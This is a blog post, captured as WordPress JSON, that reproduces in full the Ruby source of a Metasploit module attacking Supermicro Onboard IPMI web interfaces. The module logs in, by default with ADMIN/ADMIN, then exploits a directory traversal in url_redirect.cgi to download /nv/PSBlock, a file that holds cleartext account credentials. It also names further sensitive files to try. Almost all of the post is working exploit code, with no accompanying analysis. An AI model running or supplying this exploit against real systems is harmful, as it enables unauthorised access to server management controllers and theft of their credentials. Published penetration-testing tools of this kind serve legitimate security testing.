{"id":59342,"date":"2024-09-01T19:20:11","date_gmt":"2024-09-01T16:20:11","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181079\/smt_ipmi_url_redirect_traversal.rb.txt"},"modified":"2024-09-01T19:20:11","modified_gmt":"2024-09-01T16:20:11","slug":"supermicro-onboard-ipmi-url_redirect-cgi-authenticated-directory-traversal","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/supermicro-onboard-ipmi-url_redirect-cgi-authenticated-directory-traversal\/","title":{"rendered":"Supermicro Onboard IPMI Url_redirect.cgi Authenticated Directory Traversal"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>require &#8216;uri&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::Report<\/p>\n<p>APP_NAME = &#8220;Supermicro web interface&#8221;<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Supermicro Onboard IPMI url_redirect.cgi Authenticated Directory Traversal&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module abuses a directory traversal vulnerability in the url_redirect.cgi application<br \/>accessible through the web interface of Supermicro Onboard IPMI controllers. The vulnerability<br \/>is present due to a lack of sanitization of the url_name parameter. This allows an attacker with<br \/>a valid, but not necessarily administrator-level account, to access the contents of any file<br \/>on the system. This includes the \/nv\/PSBlock file, which contains the cleartext credentials for<br \/>all configured accounts. This module has been tested on a Supermicro Onboard IPMI (X9SCL\/X9SCM)<br \/>with firmware version SMT_X9_214. Other file names to try include \/PSStore, \/PMConfig.dat, and<br \/>\/wsman\/simple_auth.passwd<br \/>},<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;hdm&#8217;, # Discovery and analysis<br \/>&#8216;juan vazquez&#8217; # Metasploit module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/www.rapid7.com\/blog\/post\/2013\/11\/06\/supermicro-ipmi-firmware-vulnerabilities\/&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/zenfish\/ipmi\/blob\/master\/dump_SM.py&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2013-11-06&#8217;))<\/p>\n<p>register_options(<br \/>[<br \/>OptInt.new(&#8216;DEPTH&#8217;, [true, &#8216;Traversal depth&#8217;, 1]), # By default downloads from \/tmp<br \/>OptString.new(&#8216;FILEPATH&#8217;, [true, &#8216;The name of the file to download&#8217;, &#8216;\/nv\/PSBlock&#8217;]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;Password for Supermicro Web Interface&#8217;, &#8216;ADMIN&#8217;]),<br \/>OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;Username for Supermicro Web Interface&#8217;, &#8216;ADMIN&#8217;])<br \/>])<br \/>end<\/p>\n<p>def my_basename(filename)<br \/>return ::File.basename(filename.gsub(\/\\\\\/, &#8220;\/&#8221;))<br \/>end<\/p>\n<p>def is_supermicro?<br \/>res = send_request_cgi(<br \/>{<br \/>&#8220;uri&#8221; =&gt; &#8220;\/&#8221;,<br \/>&#8220;method&#8221; =&gt; &#8220;GET&#8221;<br \/>})<\/p>\n<p>if res and res.code == 200 and res.body.to_s =~ \/ATEN International Co Ltd\\.\/<br \/>return true<br \/>else<br \/>return false<br \/>end<br \/>end<\/p>\n<p>def login<br \/>res = send_request_cgi({<br \/>&#8220;uri&#8221; =&gt; &#8220;\/cgi\/login.cgi&#8221;,<br \/>&#8220;method&#8221; =&gt; &#8220;POST&#8221;,<br \/>&#8220;vars_post&#8221; =&gt; {<br \/>&#8220;name&#8221; =&gt; datastore[&#8220;USERNAME&#8221;],<br \/>&#8220;pwd&#8221; =&gt; datastore[&#8220;PASSWORD&#8221;]}<br \/>})<\/p>\n<p>if res and res.code == 200 and res.body.to_s =~ \/self.location=&#8221;\\.\\.\\\/cgi\\\/url_redirect\\.cgi\/ and res.get_cookies =~ \/(SID=[a-z]+)\/<br \/>return $1<br \/>else<br \/>return nil<br \/>end<br \/>end<\/p>\n<p>def read_file(file, session)<br \/>travs = &#8220;&#8221;<br \/>travs &lt;&lt; &#8220;..\/&#8221; * datastore[&#8216;DEPTH&#8217;]travs &lt;&lt; file<\/p>\n<p>print_status(&#8220;Retrieving file contents&#8230;&#8221;)<\/p>\n<p>res = send_request_cgi({<br \/>&#8220;uri&#8221; =&gt; &#8220;\/cgi\/url_redirect.cgi&#8221;,<br \/>&#8220;method&#8221; =&gt; &#8220;GET&#8221;,<br \/>&#8220;cookie&#8221; =&gt; session,<br \/>&#8220;encode_params&#8221; =&gt; false,<br \/>&#8220;vars_get&#8221; =&gt; {<br \/>&#8220;url_type&#8221; =&gt; &#8220;file&#8221;,<br \/>&#8220;url_name&#8221; =&gt; travs<br \/>}<br \/>})<\/p>\n<p>if res and res.code == 200 and res.headers[&#8220;Content-type&#8221;].to_s =~ \/text\\\/html\/ and res.headers[&#8220;Pragma&#8221;].nil?<br \/>return res.body.to_s<br \/>else<br \/>return nil<br \/>end<br \/>end<\/p>\n<p>def run_host(ip)<br \/>print_status(&#8220;Checking if it&#8217;s a #{APP_NAME}&#8230;.&#8221;)<br \/>if is_supermicro?<br \/>print_good(&#8220;Check successful&#8221;)<br \/>else<br \/>print_error(&#8220;#{APP_NAME} not found&#8221;)<br \/>return<br \/>end<\/p>\n<p>print_status(&#8220;Login into the #{APP_NAME}&#8230;&#8221;)<br \/>session = login<br \/>if session.nil?<br \/>print_error(&#8220;Failed to login, check credentials.&#8221;)<br \/>return<br \/>else<br \/>print_good(&#8220;Login Successful, session: #{session}&#8221;)<br \/>end<\/p>\n<p>contents = read_file(datastore[&#8216;FILEPATH&#8217;], session)<br \/>if contents.nil?<br \/>print_error(&#8220;File not downloaded&#8221;)<br \/>return<br \/>end<\/p>\n<p>file_name = my_basename(datastore[&#8216;FILEPATH&#8217;])<br \/>path = store_loot(<br \/>&#8216;supermicro.ipmi.traversal.psblock&#8217;,<br \/>&#8216;application\/octet-stream&#8217;,<br \/>rhost,<br \/>contents,<br \/>file_name<br \/>)<br \/>print_good(&#8220;File saved in: #{path}&#8221;)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require &#8216;uri&#8217; class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Report APP_NAME = &#8220;Supermicro web interface&#8221; def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Supermicro Onboard IPMI url_redirect.cgi Authenticated Directory Traversal&#8217;,&#8216;Description&#8217; =&gt; %q{This module abuses a directory traversal vulnerability in the url_redirect.cgi applicationaccessible through the web interface of Supermicro Onboard IPMI &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59342","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59342","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59342"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59342\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59342"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59342"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59342"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}